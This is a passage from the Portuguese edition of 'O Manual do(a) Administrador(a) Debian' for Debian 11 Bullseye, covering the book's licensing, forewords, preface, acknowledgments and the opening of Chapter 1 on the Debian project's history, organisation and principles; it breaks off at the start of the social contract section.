O Manual do(a) Administrador(a) Debian

Debian Bullseye, da Descoberta à Maestria

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (Brochura em inglês)

ISBN: 979-10-91414-22-7 (E-book em inglês)

Este livro está disponível sob os termos de duas licenças compatíveis com a Definição Debian de Software Livre.

Nota da Licença Creative Commons:  Este livro está licenciado sob uma Licença Creative Commons Attribution-ShareAlike 3.0 Unported.

→ http://creativecommons.org/licenses/by-sa/3.0/

Nota da Licença Pública Geral da GNU:  Este livro é documentação livre; você pode redistribuí-lo e/ou modificá-lo dentro dos termos da Licença Pública Geral GNU como publicada pela Fundação do Software Livre, tanto na versão 2 da Licença, ou (por opção sua) qualquer versão posterior.

Este livro é distribuído na esperança de que ele seja útil, mas SEM QUALQUER GARANTIA; nem mesmo a garantia implícita de COMERCIALIZAÇÃO ou ADEQUAÇÃO PARA UM PROPÓSITO PARTICULAR. Veja a Licença Pública Geral GNU para mais detalhes.

Você deve ter recebido uma cópia da Licença Pública Geral GNU junto com este programa. Se não, veja https://www.gnu.org/licenses/.

Mostre sua apreciação

Este livro é publicado sob uma licença livre porque queremos que todos se beneficiem dele. Dito isto, mantê-lo requer tempo e muito esforço, e nós apreciamos receber agradecimentos por isto. Se você achar este livro valioso, por favor, considere contribuir para sua contínua manutenção, seja através da compra do livro ou fazendo uma doação através do site oficial do livro:

→ https://debian-handbook.info

Resumo

Um livro de referência apresentando a distribuição Debian, da instalação inicial até a configuração de serviços.

Prefácio

Estou grato pela oportunidade de te dar as boas vindas ao Debian e ao Manual do(a) Administrador(a) Debian. Muitas pessoas escolheram o Debian: cerca de 10% de todos os servidores de rede na Internet usam Debian. Quando você inclui sistemas operacionais baseados no Debian, este número sobe para quase 20%. O Debian foi selecionado como o sistema operacional para a International Space Station (Estação Espacial Internacional). Seja para pesquisa de ponta em física ou um projeto para cultivar comida enquanto luta contra a poluição, o Debian tem sido usado nos computadores que tornam isto possível.

Por que o Debian atrai grandes empresas, pesquisadores, ativistas e amadores? Eu acho que a resposta está na flexibilidade e comunidade do Debian.

Debian é flexível. Sim, ele fornece um sistema operacional genérico excelente pronto para usar. Ele também fornece as ferramentas para personalizar o Debian para qualquer ambiente no qual você trabalhe. Tanto numa arquitetura de containers e nuvem, um vasto conjunto de estações de trabalho, computadores individuais ou um eletrodoméstico, o Debian fornece a flexibilidade para funcionar bem neste ambiente. Você vai achar as ferramentas e exemplos que precisa para atender às suas necessidades.

A comunidade Debian é um ponto de encontro para diversos indivíduos e interesses: desenvolvedores das maiores corporações trabalham ao lado de voluntários, pesquisadores e usuários. Sejam especialistas em segurança, desenvolvedores da web, programadores ou arquitetos de sistemas, todos nós estamos representados. Você pode fazer parte desta comunidade. Quando você encontrar maneiras de melhorar o Debian, agradecemos sua contribuição.

Nós nos unimos para produzir um sistema operacional gratuito e livre de classe mundial. Nenhuma empresa controla o Debian; nenhuma agenda define nosso trabalho. Em vez disso, cada um de nós tem o poder de melhorar o Debian da maneira que importa para nós. Obrigado por dar uma olhada no que construímos. Espero que você goste.

Este livro é uma excelente maneira de explorar o Debian. Tenho recomendado a amigos há anos, quando eles queriam aprender mais sobre o Debian, e estou satisfeito por ter a oportunidade de recomendá-lo de forma mais ampla. Este manual foi escrito e mantido por membros antigos da comunidade Debian. Algumas das mesmas pessoas que estão trabalhando para desenvolver o sistema operacional se uniram para ajudá-lo a entendê-lo. E, claro, o livro foi desenvolvido usando um processo de comunidade semelhante ao próprio Debian, com a mesma ênfase na liberdade.

Agosto de 2019

Sam Hartman (Líder do Projeto Debian)

Prefácio

O Linux vem ganhando força nos últimos anos, e sua popularidade ainda crescente leva mais e mais usuários a dar o salto. O primeiro passo nesse caminho é escolher uma distribuição. Esta é uma decisão importante, porque cada distribuição tem suas próprias peculiaridades, e os futuros custos de migração podem ser evitados se a escolha certa é feita desde o início.

DE VOLTA AO BÁSICO distribuição Linux, núcleo (ou kernel) Linux

Estritamente falando, Linux é apenas um núcleo (ou kernel), a parte essencial do software que fica entre o hardware e as aplicações.

Uma "distribuição Linux" é um sistema operacional completo, que normalmente inclui o núcleo (ou kernel) Linux, um programa de instalação e, o mais importante, aplicativos e outros softwares necessários para transformar um computador em uma ferramenta realmente útil.

O Debian GNU/Linux é uma distribuição Linux "genérica" que serve à maioria dos usuários. O propósito deste livro é mostrar seus muitos aspectos para que você possa tomar uma decisão fundamentada ao escolher.

1. Por que este Livro?

CULTURA Distribuições Comerciais

A maioria das distribuições Linux são suportadas por uma empresa com fins lucrativos que as desenvolve e vende sob algum tipo de esquema comercial. Exemplos incluem Ubuntu, desenvolvida principalmente pela Canonical Ltd.; Red Hat Enterprise Linux, pela Red Hat, Inc., subsidiária da IBM; e Suse Linux, mantida e disponibilizada comercialmente pela SUSE Software Solutions Germany GmbH, subsidiária da EQT Partners.

No outro extremo do espectro, encontram-se nomes como o Debian e a Apache Software Foundation (que hospeda o desenvolvimento para o servidor web Apache). O Debian é, acima de tudo, um projeto no mundo do Software Livre, implementado por voluntários que trabalham em conjunto através da Internet. Embora alguns deles trabalhem no Debian como parte de seus trabalhos remunerados em várias companhias, o projeto como um todo não é vinculado a nenhuma companhia em particular, nem deixa que uma única companhia tenha muito mais voz nos negócios do projeto que os contribuidores puramente voluntários tenham.

O Linux reuniu uma cobertura considerável da mídia ao longo dos anos e um crescimento imenso, devido, por exemplo, à ampla adoção de servidores virtuais, sistemas embarcados e inteligência artificial; isto beneficia principalmente as distribuições apoiadas por um departamento de marketing real - em outras palavras, para distribuições baseadas em empresas (Ubuntu, Red Hat, SUSE e assim por diante). Mas o Debian está longe de ser uma distribuição marginal; múltiplos estudos mostram ao longo dos anos que o Debian é amplamente usado em servidores e desktops, isto é particularmente verdade entre servidores web onde o Debian e o Ubuntu são as distribuições Linux líderes.

→ https://w3techs.com/technologies/details/os-linux/all/all

O propósito deste livro é ajudar você a descobrir esta distribuição. Nós esperamos compartilhar a experiência que tivemos desde 1998 (Raphaël) e 2000 (Roland) quando nos juntamos ao projeto como desenvolvedores e colaboradores. Com alguma sorte, vamos te contagiar com nosso entusiasmo, e talvez você se junte a nós em algum momento…

A primeira edição deste livro (de 2004) serviu para preencher uma lacuna: era o primeiro livro de língua francesa focado exclusivamente no Debian. Naquele tempo, muitos outros livros foram escritos sobre o tema para os leitores de francês e inglês. Infelizmente quase nenhum deles foi atualizado, e ao longo do tempo a situação foi piorando até o momento em que tínhamos uns poucos bons livros sobre Debian. Nós esperamos que este livro, que iniciou uma nova vida com sua tradução para o inglês (e com várias traduções do inglês para outras línguas), preencha esta lacuna e ajude muitos usuários.

2. Para quem é este Livro?

Tentamos fazer com que este livro fosse útil para muitas categorias de leitores. Primeiro, os administradores de sistemas (novatos e experientes) encontrarão explicações sobre a instalação e implementação do Debian em muitos computadores. Eles também terão uma ideia da maioria dos serviços disponíveis no Debian, juntamente com instruções de configuração correspondentes e uma descrição das especificidades provenientes da distribuição. Compreender os mecanismos envolvidos no desenvolvimento do Debian irá capacitá-los a lidar com problemas imprevistos, sabendo que podem sempre encontrar ajuda dentro da comunidade.

Os usuários de outra distribuição Linux, ou de outra variante Unix, descobrirão as especificidades do Debian, e deverão estar operacionais muito rapidamente enquanto se beneficiam plenamente das vantagens únicas desta distribuição.

Finalmente, os leitores que já têm algum conhecimento do Debian e querem saber mais sobre a comunidade por trás dele devem ver suas expectativas satisfeitas. Este livro deve deixá-los muito mais próximos de se juntar a nós, como colaboradores.

3. Abordagem Geral

Toda a documentação genérica que você possa encontrar sobre GNU/Linux também se aplica ao Debian, já que o Debian inclui os softwares livres mais comuns. No entanto, a distribuição traz muitas melhorias, razão pela qual optou-se primeiramente por descrever o "modo Debian" de fazer as coisas.

É interessante seguir as recomendações do Debian, mas é ainda melhor compreender a sua lógica. Portanto, não nos restringiremos a explicações práticas apenas; também vamos descrever o funcionamento do projeto, de modo a proporcionar-lhe um conhecimento abrangente e consistente.

4. Estrutura do Livro

Este livro é feito em torno de um estudo de caso fornecendo apoio e ilustração para todos os tópicos tratados.

NOTA Página Web, email dos autores

Este livro tem o seu próprio site, que hospeda elementos que podem torná-lo mais útil. Em particular, inclui uma versão online do livro com links clicáveis, e possíveis erratas. Sinta-se a vontade para navegar nele e deixar-nos um comentário. Teremos o maior prazer de ler seus comentários ou mensagens de apoio. Pode enviar por e-mail para <hertzog@debian.org> (Raphaël) e <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

O Capítulo 1 se concentra em uma apresentação não-técnica do projeto Debian e descreve seus objetivos e organização. Estes aspectos são importantes porque definem um quadro geral que será completo por outros capítulos com informações mais concretas.

Os Capítulos 2 e 3 fornecem uma descrição geral do estudo de caso. Neste ponto, os leitores iniciantes podem reservar um tempo para ler o apêndice B, onde encontrarão um curso rápido de nivelamento, explicando uma série de noções básicas de computação, bem como conceitos inerentes a qualquer sistema Unix.

Para começar com o nosso assunto real, vamos naturalmente começar com o processo de instalação (capítulo 4); os capítulos 5 e 6 vão apresentar ferramentas básicas que qualquer administrador Debian vai usar, como os da família APT, que são largamente responsáveis pela excelente reputação da distribuição. Estes capítulos não estão de forma alguma reservados a profissionais, já que todo mundo é seu próprio administrador em casa.

O Capítulo 7 será um parênteses importante, ele descreve os fluxos de trabalho para uso eficiente da documentação e como atingir rapidamente uma compreensão dos problemas, a fim de resolvê-los.

Os próximos capítulos serão uma visita mais detalhada ao sistema, começando com infraestrutura básica e serviços (capítulos 8 a 10 ) e subindo progressivamente na pilha, até chegar nas aplicações de usuários no capítulo 13. O Capítulo 12 lida com assuntos mais avançados que tratam mais diretamente com preocupações dos administradores de grandes conjuntos de computadores (incluindo servidores), enquanto o capítulo 14 é uma breve introdução para a questão mais ampla de segurança de computadores e dá algumas chaves para evitar a maioria dos problemas.

O Capítulo 15 é para os administradores que querem ir além e criar seus próprios pacotes Debian. Finalmente, Capítulo 16 descreve o possível futuro do Debian.

VOCABULÁRIO Pacote Debian

Um pacote Debian é um arquivo compactado contendo todos os arquivos necessários para instalar um dado software. É geralmente um arquivo com uma extensão .deb, e pode ser manuseado com o comando dpkg. Também chamado de pacote binário, ele contém arquivos que podem ser utilizados diretamente (como programas ou documentação). Por outro lado, um pacote fonte contém o código-fonte do software e as instruções necessárias para a construção do pacote binário.

A versão atual já é a décima do livro (contando as quatro primeiras que existiam apenas em Francês). Esta edição cobre a versão 11 do Debian, de codinome Bullseye. Entre as mudanças, o Debian agora suporta UEFI Secure Boot, fornecendo alguma segurança extra contra ataques à infraestrutura de boot, e tornando mais fácil instalar o Debian em novos computadores onde Secure Boot é normalmente habilitado por padrão. Ainda no nível da segurança, AppArmor, um sistema de controle de acesso obrigatório que regula o que várias aplicações podem fazer, é agora habilitado por padrão. Todos os pacotes incluídos foram obviamente atualizados, incluindo a área de trabalho GNOME, que agora está na sua versão 3.38.

Nós adicionamos algumas notas e observações nas barras laterais. Elas têm vários papéis: elas podem chamar a atenção para um ponto difícil, completar uma noção do estudo de caso, definir alguns termos, ou servir como lembretes. Aqui está uma lista das mais comuns destas barras laterais:

DE VOLTA AO BÁSICO: um lembrete de algumas informações que supostamente são conhecidas;

VOCABULÁRIO: define um termo técnico, às vezes específico do Debian;

COMUNIDADE: destaca pessoas ou funções importantes dentro do projeto;

POLÍTICA: uma regra ou recomendação da Política do Debian. Este documento é essencial dentro do projeto e descreve como empacotar software. As partes da política destacadas neste livro trazem benefícios diretos para os usuários (por exemplo, saber que a política padroniza a localização da documentação e dos exemplos torna fácil encontrá-los, mesmo em um novo pacote).

FERRAMENTA: apresenta uma ferramenta ou serviço relevante;

NA PRÁTICA: teoria e prática nem sempre coincidem; essas barras laterais contêm conselhos resultantes da nossa experiência. Eles também podem dar exemplos detalhados e concretos;

outras barras laterais mais ou menos frequentes são bastante explícitas: CULTURA, DICA, CUIDADO, INDO ALÉM, SEGURANÇA, e assim por diante.

5. Contribuindo

Este livro é desenvolvido como um projeto de software livre, sua ajuda e opinião são bem-vindas. A forma mais óbvia de contribuir é ajudando a traduzi-lo para seu idioma nativo. Mas esta não é a única possibilidade. Você pode abrir relatórios de bugs para nos avisar de erros, falhas de digitação, informação desatualizada ou tópicos que deveríamos cobrir. Ou você pode submeter um "merge request" com sua correção para qualquer problema que você identificar.

Todas as instruções para contribuir para o livro estão documentadas na página do livro:

→ https://debian-handbook.info/contribute/

6. Agradecimentos

6.1. Um pouco de História

Em 2003, Nat Makarévitch contatou Raphaël porque queria publicar um livro sobre Debian na coleção Cahier de l'Admin (Manual de Administração) que ele estava gerenciando para a Eyrolles, uma importante editora francesa de livros técnicos. Raphaël imediatamente aceitou escrevê-lo. A primeira edição saiu no dia 14 de outubro de 2004 e foi um enorme sucesso - esgotou em cerca de quatro meses.

Desde então, lançamos 7 outras edições do livro francês, uma para cada nova versão do Debian (exceto para o Debian 9). Roland, que começou a trabalhar no livro como um revisor, se tornou gradativamente seu coautor.

Enquanto nós obviamente estávamos satisfeitos com o sucesso do livro, sempre esperávamos que a Eyrolles convenceria uma editora internacional a traduzi-lo para o inglês. Recebemos muitos comentários explicando como o livro ajudou as pessoas a começar a usar o Debian, e estávamos interessados em ter o livro beneficiando mais pessoas da mesma maneira.

Infelizmente, nenhuma editora de língua inglesa que nós contatamos estava disposta a correr o risco de traduzir e publicar o livro. Não nos intimidamos com este pequeno contratempo, e decidimos negociar com o nosso editor francês Eyrolles para recuperar os direitos necessários para traduzir o livro em Inglês e publicá-lo nós mesmos. Graças a uma campanha de financiamento colaborativo bem sucedida, trabalhamos na tradução entre dezembro de 2011 e maio de 2012. O "Manual do Administrador Debian" nasceu e foi publicado sob uma licença de software livre!

Mesmo vencida esta importante etapa, sabíamos que a história só terminaria depois que o livro em francês fosse considerado uma tradução oficial do livro em Inglês. Isso não era possível na época porque o livro em francês ainda era distribuído comercialmente sob uma licença não-livre pela Eyrolles.

Em 2013, o lançamento do Debian 7 nos deu uma boa oportunidade para discutir um novo contrato com a Eyrolles. Nós os convencemos de que uma licença mais alinhada com os valores do Debian poderia contribuir para o sucesso do livro. Isso não foi algo fácil de fazer, e nós concordamos em fazer outra campanha de financiamento colaborativo para cobrir alguns dos custos e reduzir os riscos envolvidos. A operação foi novamente um grande sucesso e, em julho de 2013, adicionamos uma tradução francesa ao Manual do Administrador Debian.

Gostaríamos de agradecer a todos que contribuíram para estas campanhas de arrecadação de fundos, seja assegurando algum dinheiro ou espalhando a notícia. Nós não poderíamos ter feito isso sem vocês.

Para economizar um pouco de papel, 5 anos depois da campanha de financiamento colaborativo e duas edições subsequentes, nós removemos a lista de pessoas que optaram por ser recompensadas com uma menção de seus nomes no livro. Mas seus nomes estão gravados nos agradecimentos da edição Wheezy do livro:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Um Especial Agradecimento aos Colaboradores

Este livro não seria o que é sem as contribuições de várias pessoas que desempenharam um importante papel durante a fase de tradução e além. Gostaríamos de agradecer a Marilyne Brun, que nos ajudou a traduzir o capítulo de amostra e que trabalhou conosco para definir algumas regras de tradução comuns. Ela também revisou vários capítulos que estavam precisando desesperadamente de trabalho suplementar. Obrigado a Anthony Baldwin (da Baldwin Linguas), que traduziu vários capítulos para nós.

Como Roland e eu estávamos muito ocupados para atualiza o livro para o Debian 11, usamos o pequeno lucro que tivemos de doações e vendas para contratar contribuidores para o serviço. Muito obrigado a Jorge Maldonado Ventura e Daniel Leidert pelo trabalho duro que fizeram nesta atualização.

Contamos com a ajuda generosa dos revisores: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens, e Tom Syroid. Cada um deles revisou muitos capítulos. Muito obrigado!

Então, uma vez que a versão em Inglês foi liberada, é claro que tivemos muitos comentários, sugestões e correções dos leitores, e mais ainda das muitas equipes que se comprometeram a traduzir este livro para outros idiomas. Obrigado!

Gostaríamos também de agradecer aos leitores do livro francês, que nos forneceram algumas citações interessantes para confirmar que o livro era realmente digno de ser traduzido: obrigado Christian Perrier, David Bercot, Étienne Liétart, e Gilles Roussi. Stefano Zacchiroli - que era o Líder do Projeto Debian durante a campanha de financiamento coletivo - também merece um grande obrigado, ele gentilmente aprovou o projeto com uma citação explicando que livros livres eram mais do que necessários.

Se você tiver o prazer de ler estas linhas num exemplar de bolso do livro, então você deve se juntar a nós para agradecer a Benoît Guillon, Jean-Côme Charpentier, e Sébastien Mengin que trabalharam no projeto interno do livro. Benoît é o autor principal do dblatex - a ferramenta que usamos para converter o DocBook em LaTeX (e em PDF). Sébastien é o designer que criou este belo layout do livro e Jean-Côme é o especialista em LaTeX que implementou ele como uma folha de estilo utilizável com dblatex. Obrigado rapazes por todo o trabalho duro!

Finalmente, obrigado a Thierry Stempfel pelas belas figuras inseridas em cada capítulo, e obrigado a Doru Patrascu pela bela capa do livro.

6.3. Obrigado Tradutores

Uma vez que o livro se tornou livre, muitos voluntários se ocuparam em traduzi-lo para inúmeros idiomas, tais como Árabe, Português Brasileiro, Alemão, Italiano, Espanhol, Japonês, Norueguês Bokmål, etc. Veja a lista completa de traduções no site web do livro: https://debian-handbook.info/get/#other

Nós gostaríamos de agradecer a todos os tradutores e revisores. O seu trabalho é muito apreciado porque ele leva o Debian para milhões de pessoas que não sabem inglês.

6.4. Agradecimentos pessoais de Raphaël

Primeiro, eu gostaria de agradecer a Nat Makarévitch, que me ofereceu a possibilidade de escrever este livro e que forneceu uma orientação muito forte durante o ano que levou para fazê-lo. Obrigado também à boa equipe da Eyrolles, e Muriel Shan Sei Fan em particular. Ela foi muito paciente comigo, e eu aprendi muito com ela.

O período das campanhas na Ulule exigiu muito de mim, mas eu gostaria de agradecer a todos que ajudaram a torná-las um sucesso, e em particular à equipe da Ulule que respondeu muito rapidamente aos meus pedidos. Obrigado também a todos que promoveram as operações. Eu não tenho qualquer lista exaustiva (e se eu tivesse, seria provavelmente muito longa), mas eu gostaria de agradecer a algumas pessoas que estavam em contato comigo: Joey-Elias Sneddon e Benjamin Humphrey da OMG! Ubuntu, Florent Zara da LinuxFr.org, Manu da Korben.info, Frédéric Couchet da April.org, Jake Edge da Linux Weekly News, Clement Lefebvre do Linux Mint, Ladislav Bodnar do Distrowatch, Steve Kemp do Debian-Administration.org, Christian Pfeiffer Jensen do Debian-News.net, Artem Nosulchik de LinuxScrew.com, Stephan Ramoin do Gandi.net, Matthew Bloch do Bytemark.co.uk, a equipe da Divergence FM, Rikki Kite da Linux New Media, Jono Bacon, a equipe de marketing da Eyrolles, e muitos outros que esqueci (me desculpem por isto).

Gostaria de enviar um agradecimento especial a Roland Mas, meu coautor. Colaboramos neste livro desde o início e ele sempre esteve à altura do desafio. E devo dizer que a conclusão do Manual do Administrador Debian foi muito trabalhosa…

Por último mas não menos importante, agradeço à minha esposa, Sophie. Ela deu muito apoio ao meu trabalho neste livro e para o Debian em geral. Houve muitos dias (e noites), quando eu a deixei sozinha com nossos 2 filhos para fazer algum progresso no livro. Eu sou grato pelo seu apoio e sei quanta sorte eu tenho por tê-la.

6.5. Agradecimentos pessoais de Roland

Bem, Raphaël já antecipou a maior parte dos agradecimentos "externos". Eu vou enfatizar o meu agradecimento pessoal para o pessoal da Eyrolles, com quem a colaboração tem sido sempre agradável e tranquila. Esperamos que os resultados de seus excelentes conselhos não se percam na tradução.

Sou extremamente grato ao Raphaël por assumir a parte administrativa da edição em inglês. De organizar a campanha de financiamento até os últimos detalhes da diagramação do livro, produzir um livro traduzido é muito mais do que apenas traduzir e revisar, e Raphaël fez (ou delegou e supervisionou) tudo. Então, obrigado.

Obrigado também a todos aqueles que mais ou menos diretamente contribuíram para este livro, fornecendo esclarecimentos ou explicações, ou conselhos de tradução. Eles são muitos para mencionar, mas a maioria deles podem ser encontrados em vários canais de IRC #debian-*.

Há, naturalmente, alguma sobreposição com o conjunto anterior de pessoas, mas agradecimentos específicos ainda valem para as pessoas que realmente fazem o Debian. Muito deste livro não existiria sem eles, e eu ainda estou admirado com o que o projeto Debian como um todo produz e disponibiliza para qualquer pessoa.

Mais agradecimentos pessoais vão para os meus amigos e clientes, por sua compreensão quando eu estava mais ausente, pois estava trabalhando neste livro, e também pelo seu apoio, incentivo e orientação constantes. Vocês sabem quem são; obrigado.

E, finalmente, estou certo de que ficariam surpresos ao serem mencionados aqui, mas gostaria de estender minha gratidão a Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson, e, claro, ao falecido Douglas Adams. As incontáveis horas que passei desfrutando seus livros são diretamente responsáveis por eu ser capaz de fazer parte na tradução e também escrever novas partes de um livro.

Capítulo 1. O Projeto Debian

Antes de nos aprofundar na tecnologia, vamos olhar o que o Projeto Debian é, seus objetivos, seus meios e seu funcionamento.

1.1. O que é Debian?

CULTURA Origem do nome Debian

Não procure mais: Debian não é um acrônimo. Este nome é, na realidade, uma contração de dois nomes próprios: o de Ian Murdock, e sua namorada na época, Debra. Debra + Ian = Debian.

Debian é uma distribuição GNU/Linux. Nós iremos discutir o que é uma distribuição em mais detalhes em Seção 1.5, “O Papel das Distribuições”, mas por enquanto, vamos simplesmente dizer que é um sistema operacional completo, incluindo software e sistemas para instalação e gestão, todos baseados no núcleo (ou kernel) Linux e softwares livres (especialmente os do projeto GNU).

Quando criou o Debian, em 1993, sob a liderança da Free Software Foundation (FSF), Ian Murdock teve objetivos claros, que ele expressa no Manifesto Debian. O sistema operacional livre que buscava teria que ter duas características principais. Primeiro, a qualidade: o Debian seria desenvolvido com o maior cuidado, para ser digno do núcleo Linux. Também seria uma distribuição não-comercial, suficientemente confiável para competir com as principais distribuições comerciais. Esta ambição dupla, a seus olhos, seria alcançada somente através da abertura do processo de desenvolvimento do Debian assim como a do Linux e o projeto GNU. Assim, a revisão por pares melhoraria continuamente o produto.

CULTURA GNU, O projeto da FSF

O projeto GNU é um conjunto de softwares livres desenvolvidos, ou patrocinados, pela Free Software Foundation FSF, originada por seu célebre líder, Dr. Richard M. Stallman. GNU é um acrônimo recursivo que significa "GNU Não é Unix".

CULTURA Richard Stallman

Fundador da FSF e autor da licença GNU General Public License (GPL), Richard M. Stallman (frequentemente referido por suas iniciais, RMS) é um líder carismático do movimento de Software Livre. Devido a suas posições inflexíveis, ele não é admirado na unanimidade, mas suas contribuições não técnicas para o Software Livre (em particular as jurídicas e filosóficas) são respeitadas por todos.

1.1.1. Um Sistema Operacional Multi-Plataforma

COMUNIDADE A jornada de Ian Murdock

Ian Murdock, fundador do projeto Debian, foi o seu primeiro líder, de 1993 a 1996. Depois de passar o bastão para Bruce Perens, Ian teve um papel menos público. Ele voltou a trabalhar por trás dos bastidores da comunidade de software livre, criando a empresa Progeny, com a intenção de comercializar uma distribuição derivada do Debian. Este empreendimento foi, infelizmente, um fracasso comercial e seu desenvolvimento foi abandonado. A empresa, após alguns anos sobrevivendo apenas como prestador de serviços, finalmente pediu concordata em abril de 2007. Dos vários projetos iniciados pela Progeny, apenas o discover ainda permanece. É uma ferramenta de detecção automática de hardware.

Ian Murdock morreu em 28 de dezembro de 2015 em São Francisco, após uma série de tweets preocupantes em que relatava ter sido agredido pela polícia. Em julho de 2016, foi anunciado que sua morte foi considerada suicídio.

O Debian, permanecendo fiel aos seus princípios iniciais, teve tanto sucesso que, hoje, alcançou um tremendo tamanho. Atualmente, suporta oficialmente nove arquiteturas de hardware e várias variações da mesma arquitetura, e também outros núcleos (kernels), como o FreeBSD, embora os portes com base no FreeBSD não sejam parte do conjunto de arquiteturas oficialmente suportadas. Além disso, com mais de 31.000 pacotes fonte, os softwares disponíveis podem satisfazer praticamente qualquer necessidade, seja em casa ou na empresa.

O tamanho da distribuição pode ser inconveniente: não é realmente razoável distribuir 18 DVD-ROMs (só com os pacotes considerados "software livre") para instalar uma versão completa em um PC padrão ... É por isso que o Debian é cada vez mais considerado uma “meta-distribuição”, da qual se extraem distribuições mais específicas destinadas a públicos específicos: Debian Science para uso científico, Debian Edu para educação e uso pedagógico em um ambiente acadêmico, Debian Med para aplicativos médicos, Debian Jr. para crianças, etc. Uma lista mais completa dos subprojetos pode ser encontrada em Seção 1.3.3.1, “Subprojetos Debian atuais e Blends”, dedicada a esse propósito.

Estas visões parciais do Debian são organizadas em uma estrutura bem definida, o que garante compatibilidade sem problemas entre as várias "sub-distribuições". Todas elas seguem o planejamento geral para o lançamento de novas versões. E como elas estão sendo construídas sobre a mesma base, elas podem ser facilmente estendidas, completadas, e personalizadas com as aplicações disponíveis nos repositórios do Debian.

Todas as ferramentas Debian operam neste sentido: debian-cd tem por muito tempo permitido criar um conjunto de CD-ROMs contendo apenas um conjunto de pacotes pré-selecionados; debian-installer é também um instalador modular, facilmente adaptado para necessidades especiais. APT irá instalar pacotes a partir de várias origens, garantindo ao mesmo tempo a consistência do sistema.

FERRAMENTA Criando uma imagem de CD-ROM/DVD/USB do Debian

debian-cd cria imagens ISO de mídias de instalação (CD, DVD, Blu-Ray, USB, etc.) prontas para usar e personalizar. Qualquer questão sobre este software é discutida (em inglês) na lista de discussão <debian-cd@lists.debian.org>. O time é liderado por Steve McIntyre, que lida com as construções das ISO oficiais do Debian.

Como o debian-cd foi se tornando uma ferramenta mais complexa, o pacote simple-cdd contém um envoltório antes dela para criar com facilidade mídias de instalação.

DE VOLTA AO BÁSICO Para cada computador, sua arquitetura

O termo "arquitetura" indica um tipo de computador (os mais conhecidos são Mac ou PC). Cada arquitetura é diferenciada principalmente pelo seu processador, geralmente incompatível com outros processadores. Essas diferenças de hardware envolvem diferentes meios de funcionamento, exigindo assim que o software seja compilado especificamente para cada arquitetura.

A maioria dos softwares disponíveis no Debian é escrita em linguagens de programação portáveis: o mesmo código-fonte pode ser compilado para várias arquiteturas. Na verdade, um binário executável, sempre compilado para uma arquitetura específica, geralmente não funcionará em nenhuma das outras arquiteturas.

Lembre-se que cada programa é criado escrevendo o código fonte; este código-fonte é um arquivo texto composto de instruções em uma dada linguagem de programação. Antes de poder usar o software, é necessário compilar o código fonte, o que significa transformar o código em um binário (uma série de instruções de máquina executável pelo processador). Cada linguagem de programação tem um compilador específico para executar essa operação (por exemplo, gcc para a linguagem de programação C).

FERRAMENTA Instalador

debian-installer é o nome do programa de instalação do Debian. A sua concepção modular permite que seja usado em uma ampla variedade de cenários de instalação. O trabalho de desenvolvimento é coordenado na lista de discussão <debian-boot@lists.debian.org> sob a direção de Cyril Brulebois.

1.1.2. A Qualidade do Software Livre

O Debian segue todos os princípios do Software Livre, e suas novas versões não são lançadas até que estejam prontas. Os desenvolvedores não trabalham com um cronograma definido e não precisam se apressar para cumprir um prazo arbitrário. As pessoas frequentemente reclamam do longo tempo entre os lançamentos estáveis do Debian, mas este cuidado garante que a lendária confiabilidade do Debian seja atendida: longos meses de testes são realmente necessários para que a distribuição completa receba o rótulo “estável”.

O Debian não comprometerá a qualidade: todos os bugs críticos conhecidos nos pacotes principais são resolvidos em qualquer nova versão, mesmo se isso exigir que a data de lançamento inicialmente prevista seja adiada. Pacotes opcionais cujos bugs críticos não foram corrigidos e, portanto, não atendem aos requisitos de qualidade, são simplesmente eliminados da versão estável.

1.1.3. O Arranjo Legal: Uma Organização Não-Lucrativa

Legalmente falando, o Debian é um projeto gerenciado por uma associação americana sem fins lucrativos e voluntária. O projeto tem em torno de mil desenvolvedores Debian, mas reúne um número muito maior de colaboradores (tradutores, relatores de bugs, artistas, desenvolvedores casuais, etc.).

Para cumprir sua missão a bom termo, o Debian tem uma grande infraestrutura, com muitos servidores conectados através da Internet, oferecidos por muitos patrocinadores.

COMUNIDADE Por trás do Debian, a associação SPI, e ramificações locais

O Debian não possui nenhum servidor em seu próprio nome, visto que é apenas um projeto dentro da associação Software de Interesse Público (SPI), que gerencia os aspectos de hardware e finanças (doações, compra de hardware, etc.). Embora tenha sido inicialmente criada especificamente para o projeto Debian, esta associação agora hospeda outros projetos de software livre,como por exemplo o banco de dados PostgreSQL, o projeto Freedesktop.org para padronização de várias partes de ambientes de áreas de trabalho gráficas modernas (como GNOME e KDE Plasma), e o pacote de escritório do LibreOffice.

→ https://www.spi-inc.org/

Além da SPI, várias associações locais colaboram estreitamente com o Debian, a fim de gerar fundos para o Debian, sem centralizar tudo nos EUA: são conhecidas como "Organizações de Confiança" no jargão do Debian. Essa configuração evita custos proibitivos de transferência internacional, e se encaixa bem com a natureza descentralizada do projeto.

Não hesite em juntar-se à sua associação local e apoiar o projeto!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Os Documentos da fundação

Uns anos depois do seu lançamento inicial, o Debian formalizou os princípios que deviam seguir como um projeto de software livre. Esta decisão ativista permite um crescimento ordeiro e pacífico, garantindo que todos os membros progridam na mesma direção. Para se tornar um desenvolvedor Debian, qualquer candidato deve confirmar e provar o seu apoio e adesão aos princípios estabelecidos nos documentos da Fundação do projeto.

O processo de desenvolvimento é constantemente debatido, mas esses Documentos Básicos são amplamente apoiados e consensuais, portanto, raramente mudam. A constituição do Debian também oferece outras garantias para sua estabilidade: uma maioria qualificada de três quartos é necessária para aprovar qualquer emenda.

1.2.1. O Compromisso com os Usuários

O projeto também possui um “contrato social”. Qual é o lugar desse texto em um projeto destinado apenas ao desenvolvimento de um sistema operacional? É muito simples: o Debian trabalha para seus usuários e, portanto, por extensão, para a sociedade. Este contrato resume os compromissos que o projeto assume. Vamos estudá-los em mais detalhes:

Debian permanecerá 100% livre.

